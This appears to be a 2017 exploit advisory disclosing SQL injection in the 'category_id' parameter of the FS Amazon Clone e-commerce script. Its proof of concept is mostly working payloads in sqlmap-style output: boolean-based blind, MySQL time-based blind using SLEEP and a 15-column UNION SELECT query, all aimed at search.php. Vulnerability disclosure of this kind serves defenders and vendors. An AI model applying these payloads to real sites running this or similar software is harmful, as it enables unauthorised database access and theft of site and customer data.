FS Amazon Clone - 'category_id' SQL Injection

# Exploit Title: FS Amazon Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/amazon-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: [email protected]
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Frontrunner in the field of all the multi-vendor scripts.

Technical Details & Description:
================================

SQL injection on [category_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search.php?category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

Parameter: category_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: category_id=1 AND SLEEP(5)&sub_category_id=1&search=xxxxx

    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: category_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7071,0x714e746578554b6b4b4274697974755366576555457a6c6c576269474c7877744347466d6647695a,0x7176767871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JpGm&sub_category_id=1&search=xxxxx

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8bitsec - [https://twitter.com/_8bitsec]